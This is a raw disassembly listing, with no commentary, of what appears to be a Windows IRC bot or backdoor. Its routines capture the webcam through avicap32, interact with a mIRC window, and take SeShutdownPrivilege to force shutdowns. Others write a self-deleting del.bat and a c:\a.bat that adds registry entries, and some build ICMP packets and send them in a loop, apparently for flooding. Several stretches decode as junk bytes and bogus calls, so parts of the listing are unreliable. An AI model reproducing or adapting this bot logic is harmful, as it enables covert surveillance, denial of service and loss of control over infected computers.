aAvicap32_dll ; "avicap32.dll" call ebp ; dword_41F0AC mov edi, eax cmp edi, ebx jz short loc_407B0A push offset aCapcreatecaptu ; "capCreateCaptureWindowA" push edi call esi ; dword_41F0B0 push offset aCapgetdriverde ; "capGetDriverDescriptionA" push edi mov ds:dword_42F660, eax call esi ; dword_41F0B0 cmp ds:dword_42F660, ebx mov ds:dword_42F738, eax jz short loc_407B15 cmp eax, ebx jnz short loc_407B1F jmp short loc_407B15 ; --------------------------------------------------------------------------- loc_407B0A: ; CODE XREF: sub_406E9A+C46j call ds:dword_41F068 ; RtlGetLastWin32Error mov ds:dword_42F834, eax loc_407B15: ; CODE XREF: sub_406E9A+C68j ; sub_406E9A+C6Ej mov ds:dword_42F830, 1 loc_407B1F: ; CODE XREF: sub_406E9A+C6Cj push 1 pop eax pop edi pop esi pop ebp pop ebx retn sub_406E9A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407B27 proc near ; CODE XREF: seg000:00410558p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push ebx mov ebx, [ebp+arg_4] push esi xor esi, esi cmp ds:dword_42F7C8, esi push edi mov edi, [ebp+arg_8] jz short loc_407B6F push ds:dword_42F7CC lea eax, [ebp+var_200] push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>" push eax call sub_4135AD push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_4110B0 add esp, 20h loc_407B6F: ; CODE XREF: sub_407B27+1Aj cmp ds:dword_42F7D0, esi jz short loc_407BA3 push ds:dword_42F7D4 lea eax, [ebp+var_200] push offset aUser32_dllFail ; "User32.dll failed. <%d>" push eax call sub_4135AD push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_4110B0 add esp, 20h loc_407BA3: ; CODE XREF: sub_407B27+4Ej cmp ds:dword_42F7D8, esi jz short loc_407BD7 push ds:dword_42F7DC lea eax, [ebp+var_200] push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>" push eax call sub_4135AD push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_4110B0 add esp, 20h loc_407BD7: ; CODE XREF: sub_407B27+82j cmp ds:dword_42F7E0, esi jz short loc_407C0B push ds:dword_42F7E4 lea eax, [ebp+var_200] push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>" push eax call sub_4135AD push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_4110B0 add esp, 20h loc_407C0B: ; CODE XREF: sub_407B27+B6j cmp ds:dword_42F7E8, esi jz short loc_407C3F push ds:dword_42F7EC lea eax, [ebp+var_200] push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>" push eax call sub_4135AD push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_4110B0 add esp, 20h loc_407C3F: ; CODE XREF: sub_407B27+EAj cmp ds:dword_42F7F0, esi jz short loc_407C73 push ds:dword_42F7F4 lea eax, [ebp+var_200] push offset aWininet_dllFai ; "Wininet.dll failed. <%d>" push eax call sub_4135AD push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_4110B0 add esp, 20h loc_407C73: ; CODE XREF: sub_407B27+11Ej cmp ds:dword_42F7F8, esi jz short loc_407CA7 push ds:dword_42F7FC lea eax, [ebp+var_200] push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>" push eax call sub_4135AD push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_4110B0 add esp, 20h loc_407CA7: ; CODE XREF: sub_407B27+152j cmp ds:dword_42F800, esi jz short loc_407CDB push ds:dword_42F804 lea eax, [ebp+var_200] push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>" push eax call sub_4135AD push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_4110B0 add esp, 20h loc_407CDB: ; CODE XREF: sub_407B27+186j cmp ds:dword_42F808, esi jz short loc_407D0F push ds:dword_42F80C lea eax, [ebp+var_200] push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>" push eax call sub_4135AD push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_4110B0 add esp, 20h loc_407D0F: ; CODE XREF: sub_407B27+1BAj cmp ds:dword_42F810, esi jz short loc_407D43 push ds:dword_42F814 lea eax, [ebp+var_200] push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>" push eax call sub_4135AD push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_4110B0 add esp, 20h loc_407D43: ; CODE XREF: sub_407B27+1EEj cmp ds:dword_42F818, esi jz short loc_407D77 push ds:dword_42F81C lea eax, [ebp+var_200] push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>" push eax call sub_4135AD push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_4110B0 add esp, 20h loc_407D77: ; CODE XREF: sub_407B27+222j cmp ds:dword_42F820, esi jz short loc_407DAB push ds:dword_42F824 lea eax, [ebp+var_200] push offset aShell32_dllFai ; "Shell32.dll failed. <%d>" push eax call sub_4135AD push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_4110B0 add esp, 20h loc_407DAB: ; CODE XREF: sub_407B27+256j cmp ds:dword_42F828, esi jz short loc_407DDF push ds:dword_42F82C lea eax, [ebp+var_200] push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>" push eax call sub_4135AD push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_4110B0 add esp, 20h loc_407DDF: ; CODE XREF: sub_407B27+28Aj cmp ds:dword_42F830, esi jz short loc_407E13 push ds:dword_42F834 lea eax, [ebp+var_200] push offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>" push eax call sub_4135AD push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_4110B0 add esp, 20h loc_407E13: ; CODE XREF: sub_407B27+2BEj lea eax, [ebp+var_200] push offset dword_425AA4 push eax call sub_4135AD cmp [ebp+arg_C], esi pop ecx pop ecx jnz short loc_407E40 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_4110B0 add esp, 14h loc_407E40: ; CODE XREF: sub_407B27+302j lea eax, [ebp+var_200] push eax call sub_409615 pop ecx pop edi pop esi pop ebx leave retn sub_407B27 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407E52 proc near ; CODE XREF: seg000:0040BFABp ; seg000:0040BFDFp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] xor esi, esi cmp edi, esi jz short loc_407EDD mov eax, [ebp+arg_4] cmp eax, esi jz short loc_407EDD cmp [ebp+arg_8], esi jz short loc_407EDD cmp byte ptr [eax], 0 jz short loc_407EDD push ebx push edi call sub_41DE0B mov ebx, eax pop ecx test ebx, ebx jz short loc_407ED8 push [ebp+arg_4] push edi call sub_413B80 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_407ED1 sub eax, edi push eax push edi push ebx call sub_414DD0 push [ebp+arg_8] mov eax, ebx sub eax, edi and byte ptr [eax+esi], 0 call sub_413DB0 push eax push [ebp+arg_8] push ebx call sub_414FA0 push [ebp+arg_4] call sub_413DB0 add eax, esi push eax push ebx call sub_413CD0 push ebx push edi call sub_413CC0 add esp, 30h mov esi, edi loc_407ED1: ; CODE XREF: sub_407E52+3Cj push ebx call sub_413ED3 pop ecx loc_407ED8: ; CODE XREF: sub_407E52+2Bj mov eax, esi pop ebx jmp short loc_407EDF ; --------------------------------------------------------------------------- loc_407EDD: ; CODE XREF: sub_407E52+Cj ; sub_407E52+13j ... xor eax, eax loc_407EDF: ; CODE XREF: sub_407E52+89j pop edi pop esi pop ebp retn sub_407E52 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407EE3 proc near ; CODE XREF: sub_40B1E3+E9p var_7D0 = dword ptr -7D0h var_7CC = byte ptr -7CCh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7D0h push ebx push esi push 7D0h lea eax, [ebp+var_7D0] push 0 push eax call sub_413630 mov esi, [ebp+arg_0] push esi call sub_413DB0 add esp, 10h push 1 pop ebx cmp eax, ebx jge short loc_407F19 or eax, 0FFFFFFFFh jmp short loc_407F8C ; --------------------------------------------------------------------------- loc_407F19: ; CODE XREF: sub_407EE3+2Fj xor ecx, ecx mov [ebp+var_7D0], esi test eax, eax jle short loc_407F3B loc_407F25: ; CODE XREF: sub_407EE3+56j mov dl, [ecx+esi] cmp dl, 0Ah jz short loc_407F32 cmp dl, 0Dh jnz short loc_407F36 loc_407F32: ; CODE XREF: sub_407EE3+48j and byte ptr [ecx+esi], 0 loc_407F36: ; CODE XREF: sub_407EE3+4Dj inc ecx cmp ecx, eax jl short loc_407F25 loc_407F3B: ; CODE XREF: sub_407EE3+40j xor edx, edx push edi test eax, eax jle short loc_407F6C lea edi, [ebp+var_7CC] loc_407F48: ; CODE XREF: sub_407EE3+87j cmp byte ptr [edx+esi], 0 jnz short loc_407F67 cmp byte ptr [edx+esi+1], 0 lea ecx, [edx+esi+1] jz short loc_407F67 cmp ebx, 1F4h jge short loc_407F6C mov [edi], ecx inc ebx add edi, 4 loc_407F67: ; CODE XREF: sub_407EE3+69j ; sub_407EE3+74j inc edx cmp edx, eax jl short loc_407F48 loc_407F6C: ; CODE XREF: sub_407EE3+5Dj ; sub_407EE3+7Cj cmp [ebp+arg_4], 0 pop edi jz short loc_407F8A lea eax, [ebp+var_7D0] push 7D0h push eax push [ebp+arg_4] call sub_413690 add esp, 0Ch loc_407F8A: ; CODE XREF: sub_407EE3+8Ej mov eax, ebx loc_407F8C: ; CODE XREF: sub_407EE3+34j pop esi pop ebx leave retn sub_407EE3 endp ; =============== S U B R O U T I N E ======================================= sub_407F90 proc near ; CODE XREF: sub_407FEA+33p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] push esi push edi mov edi, [esp+8+arg_8] mov ecx, 1F4h xor esi, esi rep stosd lea edi, [eax-1] test edi, edi jl short loc_407FC9 push ebx mov ebx, edi loc_407FAD: ; CODE XREF: sub_407F90+36j mov eax, [esp+0Ch+arg_0] mov al, [esi+eax] push eax call sub_407FCC pop ecx inc esi mov ecx, [esp+0Ch+arg_8] mov [ecx+eax*4], ebx dec ebx cmp esi, edi jle short loc_407FAD pop ebx loc_407FC9: ; CODE XREF: sub_407F90+18j pop edi pop esi retn sub_407F90 endp ; =============== S U B R O U T I N E ======================================= sub_407FCC proc near ; CODE XREF: sub_407F90+25p ; sub_407FEA+6Bp arg_0 = byte ptr 4 movsx eax, [esp+arg_0] push eax call sub_415223 cmp al, 61h pop ecx jl short loc_407FE7 cmp al, 7Ah jg short loc_407FE7 movsx eax, al sub eax, 60h retn ; --------------------------------------------------------------------------- loc_407FE7: ; CODE XREF: sub_407FCC+Ej ; sub_407FCC+12j xor eax, eax retn sub_407FCC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407FEA proc near ; CODE XREF: sub_4096F5+A0p var_100C = dword ptr -100Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 100Ch call sub_413E30 push ebx push esi push edi push [ebp+arg_0] call sub_413DB0 push [ebp+arg_4] mov [ebp+var_4], eax call sub_413DB0 mov esi, eax lea eax, [ebp+var_100C] push eax push esi push [ebp+arg_4] mov [ebp+var_C], esi call sub_407F90 add esp, 14h dec esi mov edi, esi loc_408028: ; CODE XREF: sub_407FEA+B6j test esi, esi jle short loc_4080A6 mov eax, [ebp+arg_4] movsx eax, byte ptr [esi+eax] push eax call sub_415223 mov ebx, eax mov eax, [ebp+arg_0] movsx eax, byte ptr [edi+eax] push eax call sub_415223 pop ecx cmp eax, ebx pop ecx jz short loc_40809E loc_40804E: ; CODE XREF: sub_407FEA+B2j mov ebx, [ebp+arg_0] mov al, [edi+ebx] push eax call sub_407FCC mov edx, [ebp+var_C] mov eax, [ebp+eax*4+var_100C] pop ecx mov ecx, edx sub ecx, esi cmp ecx, eax jle short loc_40806F mov eax, ecx loc_40806F: ; CODE XREF: sub_407FEA+81j add edi, eax cmp edi, [ebp+var_4] jge short loc_4080A2 mov eax, [ebp+arg_4] lea esi, [edx-1] movsx eax, byte ptr [esi+eax] push eax call sub_415223 mov edx, eax movsx eax, byte ptr [edi+ebx] push eax mov [ebp+var_8], edx call sub_415223 pop ecx pop ecx mov ecx, [ebp+var_8] cmp eax, ecx jnz short loc_40804E loc_40809E: ; CODE XREF: sub_407FEA+62j dec edi dec esi jmp short loc_408028 ; --------------------------------------------------------------------------- loc_4080A2: ; CODE XREF: sub_407FEA+8Aj xor eax, eax jmp short loc_4080AB ; --------------------------------------------------------------------------- loc_4080A6: ; CODE XREF: sub_407FEA+40j mov eax, [ebp+arg_0] add eax, edi loc_4080AB: ; CODE XREF: sub_407FEA+BAj pop edi pop esi pop ebx leave retn sub_407FEA endp ; --------------------------------------------------------------------------- loc_4080B0: ; CODE XREF: seg000:0040EEA9p push ebp mov ebp, esp sub esp, 100h push esi call ds:dword_41F068 ; RtlGetLastWin32Error mov esi, eax push 0 lea eax, [ebp-100h] push 100h push eax push 400h push esi push 0 push 1200h call near ptr 0A70000h aam 8Dh test [eax], eax ; --------------------------------------------------------------------------- dw 0FFFFh dd 80088AFFh, 57F1FF9h, 7509F980h, 0F1EB4003h, 48002080h dd 0FF008D8Dh, 0C13BFFFFh, 88A0C72h, 742EF980h, 21F980EBh dd 858DE67Ch, 0FFFFFF00h, 38BE5056h, 0FF0042F8h, 44680875h dd 6800425Ch, 200h, 0B9F8E856h, 0C4830000h, 5EC68B18h ; --------------------------------------------------------------------------- leave retn ; =============== S U B R O U T I N E ======================================= sub_40813A proc near ; CODE XREF: seg000:004104E4p push esi push 0 call ds:dword_42F6D8 test eax, eax jz short loc_408171 push 1 call ds:dword_42F6F8 mov esi, eax test esi, esi jz short loc_408171 push edi push esi call ds:dword_41F0C0 ; GlobalLock push esi mov edi, eax call ds:dword_41F0BC ; GlobalUnlock call ds:dword_42F75C mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_408171: ; CODE XREF: sub_40813A+Bj ; sub_40813A+19j xor eax, eax pop esi retn sub_40813A endp ; =============== S U B R O U T I N E ======================================= sub_408175 proc near ; CODE XREF: seg000:0040F8A0p push ebp push esi push edi xor esi, esi mov edi, offset aMirc ; "mIRC" push esi push edi call ds:dword_42F714 mov ebp, eax cmp ebp, esi jz short loc_4081F1 push ebx push edi push 1000h push esi push 4 push esi push 0FFFFFFFFh call near ptr 0A70000h mov dl, 56h push esi mov edi, eax push esi push 0F001Fh push edi call near ptr 0A70000h mov al, ds:142474FFh mov ebx, eax push ebx call sub_4135AD pop ecx pop ecx push esi push 1 push 4C8h push ebp call ds:dword_42F764 push esi push 1 push 4C9h push ebp call ds:dword_42F764 push ebx call near ptr 0A70000h aam 57h call ds:dword_41F070 ; CloseHandle push 1 pop eax pop ebx jmp short loc_4081F3 ; --------------------------------------------------------------------------- loc_4081F1: ; CODE XREF: sub_408175+16j xor eax, eax loc_4081F3: ; CODE XREF: sub_408175+7Aj pop edi pop esi pop ebp retn sub_408175 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4081F7 proc near ; CODE XREF: seg000:0040AD2Fp var_11C = byte ptr -11Ch var_18 = byte ptr -18h var_10 = byte ptr -10h var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 11Ch push ebx push esi xor esi, esi push edi lea eax, [ebp+var_11C] push esi push eax push 104h push esi push offset aExplorer_exe ; "explorer.exe" push esi call ds:dword_42F7C4 test eax, eax jz short near ptr loc_408292+4 mov edi, 80h push esi push edi push 3 push esi mov esi, ds:dword_41F078 push 1 lea eax, [ebp+var_11C] push 80000000h push eax call esi ; dword_41F078 mov ebx, eax cmp ebx, 0FFFFFFFFh jz short near ptr loc_408292+4 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push ebx call near ptr 0A70000h or al, 53h mov ebx, ds:dword_41F070 call ebx ; dword_41F070 push 0 push edi push 3 push 0 push 2 push 40000000h push [ebp+arg_0] call esi ; dword_41F078 mov esi, eax cmp esi, 0FFFFFFFFh jz short near ptr loc_408292+4 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push esi call near ptr 0A70000h loc_408292: ; CODE XREF: sub_4081F7+2Aj ; sub_4081F7+51j ... adc dword ptr [esi-1], 5B5E5FD3h leave retn sub_4081F7 endp ; =============== S U B R O U T I N E ======================================= sub_40829B proc near ; CODE XREF: seg000:0040C711p push 1 push offset aSeshutdownpriv ; "SeShutdownPrivilege" call sub_4120CB pop ecx pop ecx push 50005h push 6 call ds:dword_42F650 neg eax sbb eax, eax neg eax retn sub_40829B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4082BD proc near ; CODE XREF: seg000:00410764p var_764 = byte ptr -764h var_260 = byte ptr -260h var_15C = byte ptr -15Ch var_58 = dword ptr -58h var_4C = dword ptr -4Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_14 = byte ptr -14h var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 764h push esi xor esi, esi cmp ds:dword_428238, esi push edi jz short loc_4082E1 cmp ds:dword_42F7D8, esi jnz short loc_4082E1 push esi call sub_409824 pop ecx loc_4082E1: ; CODE XREF: sub_4082BD+13j ; sub_4082BD+1Bj call sub_413222 lea eax, [ebp+var_764] push eax push 400h call near ptr 0A70000h std lea eax, [ebp+var_764] push eax lea eax, [ebp+var_260] push offset aSdel_bat ; "%sdel.bat" push eax call sub_4135AD add esp, 0Ch lea eax, [ebp+var_260] push esi push esi push 2 push esi push esi push 40000000h push eax call ds:dword_41F078 ; CreateFileA mov edi, eax cmp edi, esi jbe loc_408441 lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"... push eax call sub_4135AD add esp, 0Ch lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_764] push eax call sub_413DB0 pop ecx push eax lea eax, [ebp+var_764] push eax push edi call near ptr 0A70000h db 65h push edi call ds:dword_41F070 ; CloseHandle push 10h lea eax, [ebp+var_14] push esi push eax call sub_413630 push 44h lea eax, [ebp+var_58] pop edi push edi push esi push eax call sub_413630 add esp, 18h mov [ebp+var_58], edi mov edi, 104h lea eax, [ebp+var_15C] push edi push eax push esi mov [ebp+var_4C], offset byte_42E348 mov [ebp+var_2C], 1 mov [ebp+var_28], si call near ptr 0A70000h leave push eax call near ptr 0A70000h iret ; --------------------------------------------------------------------------- db 8Dh, 85h, 0A4h dd 50FFFFFEh, 0F07C15FFh, 0F8830041h, 8D1274FFh, 0FFFEA485h dd 8068FFh, 0E8500000h, 667C18h, 0A4858D72h, 50FFFFFEh dd 0FDA0858Dh, 8D50FFFFh, 0FFF89C85h, 5C8468FFh, 0E8500042h dd 0B1A5h, 8D10C483h, 0FFFC9C85h, 8D5057FFh, 0FFF89C85h dd 0E1E850FFh, 6A00667Bh, 50EC458Dh, 50A8458Dh, 8685656h dd 6A000040h, 858D5601h, 0FFFFFC9Ch, 0E8565056h, 667BC0h db 0B7h ; --------------------------------------------------------------------------- loc_408441: ; CODE XREF: sub_4082BD+72j pop edi pop esi leave retn sub_4082BD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408445 proc near ; CODE XREF: seg000:0040AB44p var_1860 = byte ptr -1860h var_158 = byte ptr -158h var_4 = byte ptr -4 push ebp mov ebp, esp mov eax, 1860h call sub_413E30 push esi push edi mov ecx, 5C1h mov esi, offset a@echoOffEchoRe ; "@echo off\r\nEcho REGEDIT4>%temp%\\1.reg\r\n"... lea edi, [ebp+var_1860] lea eax, [ebp+var_158] rep movsd movsw push offset aCA_bat ; "c:\\a.bat" push eax movsb call sub_4135AD pop ecx xor esi, esi pop ecx lea eax, [ebp+var_158] push esi push esi push 2 push esi push esi push 40000000h push eax call ds:dword_41F078 ; CreateFileA mov edi, eax cmp edi, esi jbe short loc_4084FF lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_1860] push eax call sub_413DB0 pop ecx push eax lea eax, [ebp+var_1860] push eax push edi call near ptr 0A70000h retn ; --------------------------------------------------------------------------- db 57h, 0FFh, 15h dd offset dword_41F070 dd 458D446Ah, 56575FB8h, 0B15EE850h, 0C4830000h, 0A84D8D0Ch dd 66B87D89h, 6AE87589h, 8D515801h, 5651B84Dh, 89286A56h dd 5650E445h, 0FEA8858Dh, 5056FFFFh, 7B02E856h db 66h, 0, 8Eh ; --------------------------------------------------------------------------- loc_4084FF: ; CODE XREF: sub_408445+55j pop edi pop esi leave retn sub_408445 endp ; =============== S U B R O U T I N E ======================================= sub_408503 proc near ; CODE XREF: sub_4013E9+7p ; sub_401B7C+7p ... arg_0 = dword ptr 4 push [esp+arg_0] call ds:dword_42F748 cmp eax, 0FFFFFFFFh jnz short locret_40852B push [esp+arg_0] call ds:dword_42F78C test eax, eax jnz short loc_408524 or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_408524: ; CODE XREF: sub_408503+1Bj mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] locret_40852B: ; CODE XREF: sub_408503+Dj retn sub_408503 endp ; =============== S U B R O U T I N E ======================================= sub_40852C proc near ; CODE XREF: sub_40B07B+D6p mov ecx, ds:dword_42F630 xor eax, eax test ecx, ecx jz short locret_40853A call ecx ; dword_42F630 locret_40853A: ; CODE XREF: sub_40852C+Aj retn sub_40852C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40853B proc near ; CODE XREF: seg000:loc_410496p var_88 = byte ptr -88h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 88h push ebx push esi push edi push 1 pop ebx lea eax, [ebp+var_8] xor edi, edi push ebx push eax push edi xor esi, esi mov [ebp+var_8], edi mov [ebp+var_4], ebx call ds:dword_42F784 mov ecx, eax sub ecx, edi jz loc_408601 sub ecx, 32h jz loc_4085FA sub ecx, 48h jz short loc_40859B sub ecx, 6Eh jz short loc_408594 loc_40857D: ; CODE XREF: sub_40853B+8Bj push eax lea eax, [ebp+var_88] push offset unk_4274C0 push eax call sub_4135AD add esp, 0Ch jmp short loc_4085DB ; --------------------------------------------------------------------------- loc_408594: ; CODE XREF: sub_40853B+40j push offset unk_427488 jmp short loc_4085CD ; --------------------------------------------------------------------------- loc_40859B: ; CODE XREF: sub_40853B+3Bj push [ebp+var_8] call sub_413E5F push [ebp+var_8] mov esi, eax push edi push esi call sub_413630 add esp, 10h cmp esi, edi jz short loc_4085C8 lea eax, [ebp+var_8] push ebx push eax push esi call ds:dword_42F784 cmp eax, edi jz short loc_408601 jmp short loc_40857D ; --------------------------------------------------------------------------- loc_4085C8: ; CODE XREF: sub_40853B+79j push offset unk_427444 loc_4085CD: ; CODE XREF: sub_40853B+5Ej ; sub_40853B+C4j lea eax, [ebp+var_88] push eax call sub_4135AD pop ecx pop ecx loc_4085DB: ; CODE XREF: sub_40853B+57j lea eax, [ebp+var_88] mov [ebp+var_4], edi push eax call sub_409615 pop ecx loc_4085EB: ; CODE XREF: sub_40853B+C8j ; sub_40853B+DCj push esi call sub_413ED3 mov eax, [ebp+var_4] pop ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4085FA: ; CODE XREF: sub_40853B+32j push offset unk_427400 jmp short loc_4085CD ; --------------------------------------------------------------------------- loc_408601: ; CODE XREF: sub_40853B+29j ; sub_40853B+89j cmp [esi], edi jbe short loc_4085EB lea ebx, [esi+4] loc_408608: ; CODE XREF: sub_40853B+DAj push ebx call ds:dword_42F780 inc edi add ebx, 18h cmp edi, [esi] jb short loc_408608 jmp short loc_4085EB sub_40853B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408619 proc near ; CODE XREF: seg000:00401E3Ep ; seg000:0040252Fp ... var_14 = byte ptr -14h var_10 = byte ptr -10h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push esi push 10h pop eax mov [ebp+var_4], eax push eax lea eax, [ebp+var_14] push 0 push eax call sub_413630 add esp, 0Ch lea eax, [ebp+var_4] push eax lea eax, [ebp+var_14] push eax push [ebp+arg_0] call ds:dword_42F6AC movzx eax, [ebp+var_D] push eax mov esi, offset dword_42FA3C movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_F] push eax movzx eax, [ebp+var_10] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push esi call sub_4135AD add esp, 18h mov eax, esi pop esi leave retn sub_408619 endp ; =============== S U B R O U T I N E ======================================= sub_408672 proc near ; CODE XREF: seg000:004012FEp ; seg000:00401344p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_4] xor eax, eax cmp esi, 1 jle short loc_40869B mov ecx, esi push edi shr ecx, 1 mov edx, ecx neg edx lea esi, [esi+edx*2] mov edx, [esp+8+arg_0] loc_40868E: ; CODE XREF: sub_408672+24j movzx edi, word ptr [edx] add eax, edi inc edx inc edx dec ecx jnz short loc_40868E pop edi jmp short loc_40869F ; --------------------------------------------------------------------------- loc_40869B: ; CODE XREF: sub_408672+Aj mov edx, [esp+4+arg_0] loc_40869F: ; CODE XREF: sub_408672+27j test esi, esi pop esi jz short loc_4086A9 movzx ecx, byte ptr [edx] add eax, ecx loc_4086A9: ; CODE XREF: sub_408672+30j mov ecx, eax and eax, 0FFFFh shr ecx, 10h add ecx, eax mov eax, ecx shr eax, 10h add eax, ecx not eax retn sub_408672 endp ; --------------------------------------------------------------------------- loc_4086BF: ; DATA XREF: seg000:0040E08Fo push ebp mov ebp, esp mov eax, 10320h call sub_413E30 mov eax, [ebp+8] push ebx push esi push edi push 49h mov esi, eax pop ecx lea edi, [ebp-144h] rep movsd push 1 pop edi mov [eax+120h], edi call ds:dword_42F694 mov [ebp+8], eax lea eax, [ebp-0C0h] push eax call ds:dword_42F748 mov esi, eax xor ebx, ebx xor eax, eax cmp esi, 0FFFFFFFFh jnz short loc_40871A lea eax, [ebp-0C0h] push eax call ds:dword_42F78C cmp eax, ebx jz short loc_408720 loc_40871A: ; CODE XREF: seg000:00408707j cmp dword ptr [ebp+8], 0FFFFFFFFh jnz short near ptr loc_40877C+1 loc_408720: ; CODE XREF: seg000:00408718j lea eax, [ebp-0C0h] push eax lea eax, [ebp-344h] push offset unk_427544 push eax call sub_4135AD add esp, 0Ch cmp [ebp-28h], ebx jnz short loc_408760 push ebx lea eax, [ebp-344h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-140h] push eax push dword ptr [ebp-144h] call sub_4110B0 add esp, 14h loc_408760: ; CODE XREF: seg000:0040873Ej lea eax, [ebp-344h] push eax call sub_409615 push dword ptr [ebp-30h] call sub_413375 pop ecx pop ecx push edi call near ptr 0A70000h loc_40877C: ; CODE XREF: seg000:0040871Ej add [ebx], edi retn ; --------------------------------------------------------------------------- jz short loc_40878D mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp-4], eax jmp short loc_408790 ; --------------------------------------------------------------------------- loc_40878D: ; CODE XREF: seg000:0040877Fj mov [ebp-4], esi loc_408790: ; CODE XREF: seg000:0040878Bj push 1Ch lea eax, [ebp-20h] push ebx push eax call sub_413630 or dword ptr [ebp-18h], 0FFFFFFFFh mov eax, 0FFDCh add esp, 0Ch cmp [ebp-3Ch], eax jle short loc_4087B0 mov [ebp-3Ch], eax loc_4087B0: ; CODE XREF: seg000:004087ABj cmp [ebp-38h], edi jge short loc_4087B8 mov [ebp-38h], edi loc_4087B8: ; CODE XREF: seg000:004087B3j xor esi, esi cmp [ebp-40h], ebx jle short loc_4087E5 loc_4087BF: ; CODE XREF: seg000:004087E3j push dword ptr [ebp-38h] lea eax, [ebp-20h] push 1Ch push eax push ebx lea eax, [ebp-10320h] push dword ptr [ebp-3Ch] push eax push dword ptr [ebp-4] push dword ptr [ebp+8] call ds:dword_42F62C inc esi cmp esi, [ebp-40h] jl short loc_4087BF loc_4087E5: ; CODE XREF: seg000:004087BDj push dword ptr [ebp+8] call ds:dword_42F7C0 lea eax, [ebp-0C0h] push eax lea eax, [ebp-344h] push offset unk_427504 push eax call sub_4135AD add esp, 0Ch cmp [ebp-28h], ebx jnz short loc_40882E push ebx lea eax, [ebp-344h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-140h] push eax push dword ptr [ebp-144h] call sub_4110B0 add esp, 14h loc_40882E: ; CODE XREF: seg000:0040880Cj lea eax, [ebp-344h] push eax call sub_409615 push dword ptr [ebp-30h] call sub_413375 pop ecx pop ecx push ebx call near ptr 0A70000h ; --------------------------------------------------------------------------- db 3Ch ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40884B proc near ; DATA XREF: seg000:0040E1D6o var_10312 = byte ptr -10312h var_10310 = byte ptr -10310h var_334 = byte ptr -334h var_134 = dword ptr -134h var_130 = byte ptr -130h var_B0 = byte ptr 